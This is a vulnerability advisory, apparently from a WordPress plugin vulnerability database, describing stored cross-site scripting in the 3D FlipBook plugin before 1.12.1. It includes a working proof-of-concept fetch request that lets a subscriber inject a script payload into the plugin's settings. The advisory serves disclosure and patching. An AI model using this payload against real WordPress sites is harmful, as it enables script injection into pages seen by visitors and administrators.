WordPress Plugin Vulnerabilities

3D FlipBook < 1.12.1 - Subscriber+ Stored Cross-Site Scripting

Description

The plugin does not have authorisation and CSRF checks when updating its settings, and does not have any sanitisation/escaping, allowing any authenticated users, such as subscriber to put Cross-Site Scripting payloads in all pages with a 3d flipbook.

Proof of Concept

As a subscriber:

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=fb3d_receive_book_control_props&props[lightbox][default]=xxx\"><img src onerror=alert(/XSS/)>",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered in all pages with a 3d flipbook